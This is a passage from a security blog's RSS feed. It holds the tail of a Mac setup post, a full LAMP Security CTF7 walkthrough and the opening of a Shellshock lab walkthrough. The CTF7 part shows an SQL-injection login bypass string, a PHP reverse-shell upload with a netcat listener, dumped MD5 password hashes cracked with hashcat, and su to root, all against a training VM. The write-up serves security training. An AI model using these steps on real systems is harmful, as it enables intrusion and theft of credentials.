  &lt;li&gt;MS Office for Mac&lt;/li&gt;
  &lt;li&gt;Google Drive&lt;/li&gt;
  &lt;li&gt;Alfred 2&lt;/li&gt;
  &lt;li&gt;The Unarchiver&lt;/li&gt;
  &lt;li&gt;Xcode&lt;/li&gt;
  &lt;li&gt;iTerm&lt;/li&gt;
  &lt;li&gt;OSX Command Line Tools&lt;/li&gt;
  &lt;li&gt;MacVim&lt;/li&gt;
  &lt;li&gt;Reader 2 - RSS reader + feedly&lt;/li&gt;
  &lt;li&gt;Quassel Client - IRC&lt;/li&gt;
  &lt;li&gt;Skype&lt;/li&gt;
  &lt;li&gt;Spotify&lt;/li&gt;
  &lt;li&gt;Firefox&lt;/li&gt;
  &lt;li&gt;Chrome&lt;/li&gt;
  &lt;li&gt;Airmail 2&lt;/li&gt;
  &lt;li&gt;VMWare Fusion&lt;/li&gt;
  &lt;li&gt;KeePassX&lt;/li&gt;
  &lt;li&gt;Caffeine&lt;/li&gt;
  &lt;li&gt;Trim Enabler (only needed for after market SSD’s)&lt;/li&gt;
  &lt;li&gt;iStat Menus 5&lt;/li&gt;
  &lt;li&gt;Battery Logger&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;swap-spotlight-for-alfred---shortcut-key&quot;&gt;Swap spotlight for Alfred - shortcut key.&lt;/h2&gt;

&lt;p&gt;First go to &lt;code&gt;Settings &amp;gt; Spotlight&lt;/code&gt; and untick “Spotlight search keyboard shortcut: CMD + SPACE”&lt;/p&gt;

&lt;p&gt;Open Alfred and change it to &lt;code&gt;CMD+SPACE&lt;/code&gt;&lt;/p&gt;

&lt;h2 id=&quot;disable-automatically-rearrange-spaces&quot;&gt;Disable “Automatically rearrange Spaces”&lt;/h2&gt;

&lt;p&gt;This drives me insane, &lt;code&gt;System Preferences &amp;gt; Mission Control&lt;/code&gt; untick &lt;strong&gt;Automatically rearrange Spaces based on recent use&lt;/strong&gt;&lt;/p&gt;

&lt;h2 id=&quot;change-osx-screenshot-location&quot;&gt;Change OSX Screenshot Location&lt;/h2&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;defaults write com.apple.screencapture location ~/Pictures/Screenshots

killall SystemUIServer &lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;When using an aftermarket SSD, I used &lt;a href=&quot;https://www.cindori.org/software/trimenabler/&quot;&gt;Trim Enabler&lt;/a&gt;&lt;/p&gt;

&lt;div class=&quot;note warning&quot;&gt;
  &lt;h5&gt;Warning turns off text security setting for ktexts.&lt;/h5&gt;
  &lt;p&gt;Ktext signing works by checking if all the drivers in the system are unaltered by a third party, or approved by Apple. If they have been modified, Yosemite will no longer load the driver.&lt;/p&gt;
&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/macbook-post-install-config-apps/trim-enabler-disable-ktexts.png&quot; alt=&quot;Max OS X Enable Trim&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;disable-sudden-motion-sensor---sms&quot;&gt;Disable Sudden Motion Sensor - SMS&lt;/h2&gt;

&lt;p&gt;Again if you have an Apple SSD, skip this.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;pmset &lt;span class=&quot;nt&quot;&gt;-a&lt;/span&gt; sms 0&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;confirm with:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;pmset &lt;span class=&quot;nt&quot;&gt;-g&lt;/span&gt; &lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h2 id=&quot;disable-sleep-image&quot;&gt;Disable sleep image&lt;/h2&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;nb&quot;&gt;sudo rm&lt;/span&gt; /private/var/vm/sleepimage
&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;pmset &lt;span class=&quot;nt&quot;&gt;-a&lt;/span&gt; hibernatemode 0 
pmset &lt;span class=&quot;nt&quot;&gt;-g&lt;/span&gt; | &lt;span class=&quot;nb&quot;&gt;grep &lt;/span&gt;hibernatemode &lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;All I can think of for now…&lt;/p&gt;
</description>
        </item>
        
      
    
      
        
        <item>
          <title>LAMP Security CTF7 - Walkthrough</title>
          <link>https://hacksofdhruv.me/blog/lamp-security-ctf7-walkthrough/</link>
          <pubDate>Tue, 02 Apr 2024 20:00:30 +0000</pubDate>
          <dc:creator>Dhruv Ambaliya</dc:creator>
          
          <category>CTF</category>
          
          
          <category>walkthroughs</category>
          
          <guid isPermaLink="true">https://hacksofdhruv.me/blog/lamp-security-ctf7-walkthrough/</guid>
          <description>&lt;div class=&quot;coffee-rating&quot;&gt;
&lt;table&gt;
      &lt;tbody&gt;
        &lt;tr&gt;
           &lt;td&gt;
               &lt;p&gt;&lt;code&gt;Difficulty Rating:&lt;/code&gt;&lt;/p&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;p&gt;&lt;i class=&quot;fa fa-solid fa-fire&quot;&gt;Easy&lt;/i&gt;&lt;/p&gt;
           &lt;/td&gt;
        &lt;/tr&gt;
      &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;ul id=&quot;markdown-toc&quot;&gt;
  &lt;li&gt;&lt;a href=&quot;#author-description&quot; id=&quot;markdown-toc-author-description&quot;&gt;Author Description&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#enumeration&quot; id=&quot;markdown-toc-enumeration&quot;&gt;Enumeration&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#host-service-enumeration&quot; id=&quot;markdown-toc-host-service-enumeration&quot;&gt;Host Service Enumeration&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#web-application-enumeration&quot; id=&quot;markdown-toc-web-application-enumeration&quot;&gt;Web Application Enumeration&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#web-application-on-port-8080&quot; id=&quot;markdown-toc-web-application-on-port-8080&quot;&gt;Web Application on Port 8080&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#php-shell-upload&quot; id=&quot;markdown-toc-php-shell-upload&quot;&gt;PHP Shell Upload&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#dirbuster&quot; id=&quot;markdown-toc-dirbuster&quot;&gt;Dirbuster&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#reverse-shell&quot; id=&quot;markdown-toc-reverse-shell&quot;&gt;Reverse Shell&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#local-enumeration&quot; id=&quot;markdown-toc-local-enumeration&quot;&gt;Local Enumeration&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#mysql&quot; id=&quot;markdown-toc-mysql&quot;&gt;MySQL&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#hashcat-md5-cracking&quot; id=&quot;markdown-toc-hashcat-md5-cracking&quot;&gt;Hashcat md5 cracking&lt;/a&gt;        &lt;ul&gt;
          &lt;li&gt;&lt;a href=&quot;#cracked-md5-hashes&quot; id=&quot;markdown-toc-cracked-md5-hashes&quot;&gt;Cracked MD5 Hashes&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#local-privilege-escalation&quot; id=&quot;markdown-toc-local-privilege-escalation&quot;&gt;Local Privilege Escalation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;author-description&quot;&gt;Author Description&lt;/h2&gt;

&lt;p&gt;The LAMPSecurity project is an effort to produce training and benchmarking
tools that can be used to educate information security professionals and test
products.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Author:&lt;/strong&gt; madirish2600&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Download:&lt;/strong&gt; &lt;a href=&quot;https://www.vulnhub.com/&quot;&gt;VulnHub&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&quot;enumeration&quot;&gt;Enumeration&lt;/h2&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;nmap &lt;span class=&quot;nt&quot;&gt;-v&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-p&lt;/span&gt; 1-65535 &lt;span class=&quot;nt&quot;&gt;-sV&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-O&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-sT&lt;/span&gt; 192.168.30.134&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;div class=&quot;note info&quot;&gt;
  &lt;h5&gt;Dislcaimer: Multiple Entry Points&lt;/h5&gt;
  &lt;p&gt;The LAMPSecurity series is not particularly challenging, for each VM in the series I&apos;ve targeted the &lt;b&gt;web application&lt;/b&gt; as the entry point.&lt;/p&gt;
&lt;/div&gt;

&lt;h3 id=&quot;host-service-enumeration&quot;&gt;Host Service Enumeration&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Port&lt;/th&gt;
      &lt;th&gt;Service&lt;/th&gt;
      &lt;th&gt;Version Detection&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
        &lt;tr&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;&lt;code&gt;TCP: 22&lt;/code&gt;&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;SSH&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;OpenSSH 5.3 (protocol 2.0)&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;&lt;code&gt;TCP: 80&lt;/code&gt;&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
              &lt;pc&gt;&lt;p&gt;HTTP&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;Apache httpd 2.2.15 ((CentOS))&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
        &lt;/tr&gt;

        &lt;tr&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;&lt;code&gt;TCP: 139&lt;/code&gt;&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
              &lt;pc&gt;&lt;p&gt;Samba&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;Samba smbd 3.X (workgroup: MYGROUP)&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
        &lt;/tr&gt;

        &lt;tr&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;&lt;code&gt;TCP: 901&lt;/code&gt;&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
              &lt;pc&gt;&lt;p&gt;HTTP&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;Samba SWAT administration server&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
          &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;&lt;code&gt;TCP: 8080&lt;/code&gt;&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
              &lt;pc&gt;&lt;p&gt;HTTP&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;Apache httpd 2.2.15 ((CentOS))&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
        &lt;/tr&gt;

        &lt;tr&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;&lt;code&gt;TCP: 10000&lt;/code&gt;&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
              &lt;pc&gt;&lt;p&gt;Webmin&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;(Webmin httpd)&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
        &lt;/tr&gt;

     &lt;/tbody&gt;

&lt;/table&gt;
&lt;/div&gt;

&lt;h2 id=&quot;web-application-enumeration&quot;&gt;Web Application Enumeration&lt;/h2&gt;

&lt;p&gt;Host enumeration discovered two web application, one on port &lt;code&gt;80&lt;/code&gt; and one on port
&lt;code&gt;8080&lt;/code&gt;, as with the previous CTF series VM’s, other entry points are
ignored and the &lt;strong&gt;web application&lt;/strong&gt; is used for the entry point.&lt;/p&gt;

&lt;h2 id=&quot;web-application-on-port-8080&quot;&gt;Web Application on Port 8080&lt;/h2&gt;

&lt;p&gt;Inspection of the web application revealed it’s vulnerable to an SQLi
authentication bypass. By Entering &lt;code&gt;&apos; or 1=1 -- .&lt;/code&gt; in the username
field an attacker can successfully login as admin.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/ctf7/sqli.png&quot; alt=&quot;SQL Injection Auth Bypass&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Admin account:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/ctf7/admin-login.png&quot; alt=&quot;Admin Account SQLi&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;php-shell-upload&quot;&gt;PHP Shell Upload&lt;/h3&gt;

&lt;p&gt;With admin access to the web application it was possible to upload a reverse
shell.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/ctf7/upload-shell.png&quot; alt=&quot;Reverse PHP Shell&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Execution of the php shell was not possible via the web application directly.&lt;/p&gt;

&lt;h3 id=&quot;dirbuster&quot;&gt;Dirbuster&lt;/h3&gt;

&lt;p&gt;Dirbuster disclosed the location of the file uploads directory
&lt;code&gt;/assets/&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/ctf7/dirbuster.png&quot; alt=&quot;OWASP Dirbuster&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;reverse-shell&quot;&gt;Reverse Shell&lt;/h3&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/ctf7/exec-webshell.png&quot; alt=&quot;Execute Reverse Shell&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Executing the php script resulted in a reverse shell as the user apache:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;root:~]# nc &lt;span class=&quot;nt&quot;&gt;-n&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-v&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-l&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-p&lt;/span&gt; 443
listening on &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;any] 443 ...
connect to &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;192.168.221.134] from &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;UNKNOWN&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;192.168.221.133] 58599
Linux localhost.localdomain 2.6.32-279.el6.i686 &lt;span class=&quot;c&quot;&gt;#1 SMP Fri Jun 22 10:59:55 UTC&lt;/span&gt;
2012 i686 i686 i386 GNU/Linux
01:12:47 up  2:37,  0 &lt;span class=&quot;nb&quot;&gt;users&lt;/span&gt;,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
&lt;span class=&quot;nv&quot;&gt;uid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;48&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;apache&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;gid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;48&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;apache&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;groups&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;48&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;apache&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;context&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;system_u:system_r:httpd_t:s0
sh: no job control &lt;span class=&quot;k&quot;&gt;in &lt;/span&gt;this shell
sh-4.1&lt;span class=&quot;err&quot;&gt;$&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h2 id=&quot;local-enumeration&quot;&gt;Local Enumeration&lt;/h2&gt;

&lt;p&gt;Local enumeration discovered mysql root account could be accessed locally
without a password:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;mysql &lt;span class=&quot;nt&quot;&gt;-u&lt;/span&gt; root  and no password worked as the apache user.&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;mysql&quot;&gt;MySQL&lt;/h3&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;mysql&amp;gt; &lt;span class=&quot;k&quot;&gt;select &lt;/span&gt;username, password from &lt;span class=&quot;nb&quot;&gt;users&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;select &lt;/span&gt;username, password from &lt;span class=&quot;nb&quot;&gt;users&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------+
| username
| password                         |
+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------+
| brian@localhost.localdomain
| 4cb9c8a8048fd02294477fcb1a41191a |
| john@localhost.localdomain
| 0d9ff2a4396d6939f80ffe09b1280ee1 |
| alice@localhost.localdomain
| 2146bf95e8929874fc63d54f50f1d2e3 |
| ruby@localhost.localdomain
| 9f80ec37f8313728ef3e2f218c79aa23 |
| leon@localhost.localdomain
| 5d93ceb70e2bf5daa84ec3d0cd2c731a |
| julia@localhost.localdomain
| ed2539fe892d2c52c42a440354e8e3d5 |
| michael@localhost.localdomain
| 9c42a1346e333a770904b2a2b37fa7d3 |
| bruce@localhost.localdomain
| 3a24d81c2b9d0d9aaf2f10c6c9757d4e |
| neil@localhost.localdomain
| 4773408d5358875b3764db552a29ca61 |&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;hashcat-md5-cracking&quot;&gt;Hashcat md5 cracking&lt;/h3&gt;

&lt;p&gt;The hashes were placed in a text file using the following format:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;brian@localhost.localdomain:4cb9c8a8048fd02294477fcb1a41191a
john@localhost.localdomain:0d9ff2a4396d6939f80ffe09b1280ee1
alice@localhost.localdomain:2146bf95e8929874fc63d54f50f1d2e3
ruby@localhost.localdomain:9f80ec37f8313728ef3e2f218c79aa23
leon@localhost.localdomain:5d93ceb70e2bf5daa84ec3d0cd2c731a
julia@localhost.localdomain:ed2539fe892d2c52c42a440354e8e3d5
michael@localhost.localdomai:9c42a1346e333a770904b2a2b37fa7d3
bruce@localhost.localdomai:3a24d81c2b9d0d9aaf2f10c6c9757d4e
neil@localhost.localdomain:4773408d5358875b3764db552a29ca61
charles@localhost.localdomai:b2a97bcecbd9336b98d59d9324dae5cf&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;NOTE: In order for hashcat to ignore usernames in a hash input file you need to
specify &lt;code&gt;--username &lt;/code&gt;&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;root:~]# hashcat &lt;span class=&quot;nt&quot;&gt;--username&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-m&lt;/span&gt; 0 &lt;span class=&quot;nt&quot;&gt;-a&lt;/span&gt; 0 crack-ctf7.txt
/usr/share/wordlists/rockyou.txt&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h4 id=&quot;cracked-md5-hashes&quot;&gt;Cracked MD5 Hashes&lt;/h4&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ed2539fe892d2c52c42a440354e8e3d5:madrid
4cb9c8a8048fd02294477fcb1a41191a:changeme
5d93ceb70e2bf5daa84ec3d0cd2c731a:qwer1234
2146bf95e8929874fc63d54f50f1d2e3:turtles77
9c42a1346e333a770904b2a2b37fa7d3:somepassword
b2a97bcecbd9336b98d59d9324dae5cf:chuck33&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h2 id=&quot;local-privilege-escalation&quot;&gt;Local Privilege Escalation&lt;/h2&gt;

&lt;p&gt;The julia account was able to &lt;code&gt;su&lt;/code&gt; to root.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;bash-4.1&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;su - julia
su - julia
Password: madrid

&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;julia@localhost ~]&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sudo&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-s&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;sudo&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-s&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sudo&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; password &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;julia: madrid

&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;root@localhost julia]# &lt;span class=&quot;nb&quot;&gt;id
id
&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;uid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;root&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;gid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;root&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;groups&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;root&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;context&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;system_u:system_r:httpd_t:s0
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;root@localhost julia]#&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Thanks for the VM :)&lt;/p&gt;
</description>
        </item>
        
      
    
      
        
        <item>
          <title>Pen Testers Lab: Shellshock CVE-2014-6271 - Walkthrough</title>
          <link>https://hacksofdhruv.me/blog/shellshock-pen-testers-lab-walkthrough/</link>
          <pubDate>Sat, 30 Mar 2024 10:00:10 +0000</pubDate>
          <dc:creator>Dhruv Ambaliya</dc:creator>
          
          <category>CTF</category>
          
          
          <category>walkthroughs</category>
          
          <guid isPermaLink="true">https://hacksofdhruv.me/blog/shellshock-pen-testers-lab-walkthrough/</guid>
          <description>&lt;div class=&quot;coffee-rating&quot;&gt;
&lt;table&gt;
      &lt;tbody&gt;
        &lt;tr&gt;
           &lt;td&gt;
               &lt;p&gt;&lt;code&gt;Difficulty Rating:&lt;/code&gt;&lt;/p&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;p&gt;&lt;i class=&quot;fa fa-solid fa-fire&quot;&gt;Easy&lt;/i&gt;&lt;/p&gt;
           &lt;/td&gt;
        &lt;/tr&gt;
      &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;ul id=&quot;markdown-toc&quot;&gt;
  &lt;li&gt;&lt;a href=&quot;#author-description&quot; id=&quot;markdown-toc-author-description&quot;&gt;Author Description&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#host-enumeration&quot; id=&quot;markdown-toc-host-enumeration&quot;&gt;Host Enumeration&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#port-scanning&quot; id=&quot;markdown-toc-port-scanning&quot;&gt;Port Scanning&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#service-enumeration&quot; id=&quot;markdown-toc-service-enumeration&quot;&gt;Service Enumeration&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#website-inspection&quot; id=&quot;markdown-toc-website-inspection&quot;&gt;Website Inspection&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#burp-suite---send-reverse-shellshock&quot; id=&quot;markdown-toc-burp-suite---send-reverse-shellshock&quot;&gt;Burp Suite - Send Reverse Shellshock&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#reverse-shell&quot; id=&quot;markdown-toc-reverse-shell&quot;&gt;Reverse Shell&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;author-description&quot;&gt;Author Description&lt;/h2&gt;

&lt;p&gt;This course details the exploitation of the vulnerability &lt;strong&gt;CVE-2014-6271&lt;/strong&gt; AKA &lt;strong&gt;Shellshock&lt;/strong&gt;. This vulnerability impacts the Bourne Again Shell “Bash”. Bash is not usually available through a web application but can be indirectly exposed through a Common Gateway Interface “CGI”.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Author:&lt;/strong&gt; PentesterLab&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Download:&lt;/strong&gt; &lt;a href=&quot;https://www.vulnhub.com&quot;&gt;VulnHub&lt;/a&gt;&lt;/p&gt;

&lt;div class=&quot;note info&quot;&gt;
  &lt;h5&gt;This is not a challenge VM&lt;/h5&gt;
  &lt;p&gt;This VM is part of the exercises provided by &lt;a href=&quot;https://pentesterlab.com&quot;&gt;PenTestersLab.com&lt;/a&gt;, it&apos;s not a challenge VM (there is no flag to capture). &lt;/p&gt;
&lt;/div&gt;

&lt;h2 id=&quot;host-enumeration&quot;&gt;Host Enumeration&lt;/h2&gt;

&lt;h3 id=&quot;port-scanning&quot;&gt;Port Scanning&lt;/h3&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;nmap &lt;span class=&quot;nt&quot;&gt;-v&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-p&lt;/span&gt; 1-65535 &lt;span class=&quot;nt&quot;&gt;-sV&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-O&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-sT&lt;/span&gt; 192.168.221.144&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;service-enumeration&quot;&gt;Service Enumeration&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Port&lt;/th&gt;
      &lt;th&gt;Service&lt;/th&gt;
      &lt;th&gt;Version Detection&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
        &lt;tr&gt;
           &lt;td&gt;
